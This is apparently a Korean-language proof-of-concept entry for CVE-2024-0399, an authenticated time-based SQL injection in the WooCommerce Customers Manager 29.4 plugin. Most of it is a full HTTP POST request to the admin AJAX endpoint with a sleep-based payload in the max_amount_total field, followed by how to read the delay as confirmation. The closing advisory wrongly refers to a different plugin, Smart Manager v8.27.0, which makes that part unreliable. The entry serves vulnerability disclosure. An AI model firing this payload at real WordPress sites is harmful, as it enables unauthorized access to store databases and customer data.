
CVE-2024-0399에 대한 개념 증명 익스플로잇으로, WooCommerce Customers Manager 29.4의 인증 후 시간 기반 SQL 주입으로, 관리자 AJAX 엔드포인트를 통해 거래 금액 매개변수를 대상으로 합니다.
Exploit 제목: WooCommerce Customers Manager 29.4 - 인증 후 SQL 인젝션
날짜: 2024-03-25
익스플로잇 작성자: Ivan Spiridonov - xbz0n
소프트웨어 링크: https://codecanyon.net/item/woocommerce-customers-manager/10965432
버전: 29.4
테스트 환경: Ubuntu 22.04
CVE: CVE-2024-0399
이 플러그인은 SQL 문에서 사용하기 전에 매개변수를 제대로 필터링(샌니타이즈)하거나 이스케이프하지 않아, Subscriber+ 역할로 악용 가능한 SQL 인젝션이 발생합니다.
이 취약점은 관리자 AJAX 엔드포인트에서 사용되는 'max_amount', 'max_amount_total', 'min_amount', 'min_amount_total' 같은 거래 금액 매개변수에 존재합니다. 이러한 매개변수에 SQL 명령을 주입함으로써 인증된 공격자는 SQL 쿼리를 조작할 수 있으며, 이로 인해 시간 기반 SQL 인젝션 취약점이 발생합니다.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/wp-admin/admin.php?page=wccm-discover-customer
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------2461714219322283440478088295
Content-Length: 1877
Origin: http://localhost
Connection: close
Cookie: Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="action"
wccm_get_orders_tot_num
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="start_date"
2024-01-09
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="end_date"
2024-01-11
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="customer_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="category_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="min_amount"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="max_amount"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="min_amount_total"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="max_amount_total"
(select*from(select(sleep(20)))a)
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_relationship"
or
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_category_relationship"
or
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_category_filters_relationship"
and
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="statuses"
wc-pending,wc-processing,wc-on-hold,wc-completed,wc-cancelled,wc-refunded,wc-failed,wc-checkout-draft
-----------------------------2461714219322283440478088295--
서버 응답이 약 20초 지연되면 시간 기반 SQL 인젝션의 성공적인 악용을 나타내며, 취약점이 확인됩니다.
WooCommerce Customers Manager v29.4 사용자는 영향을 받는 엔드포인트에 대한 접근을 제한하고, 수정 버전이 출시되는 즉시 플러그인을 업데이트할 것을 강력히 권장합니다. 이 권고는 Smart Manager v8.27.0의 모든 사용자에게 SQL 인젝션 취약점으로부터 보호하기 위해 플러그인 업데이트를 즉시 수행하라는 공지사항입니다.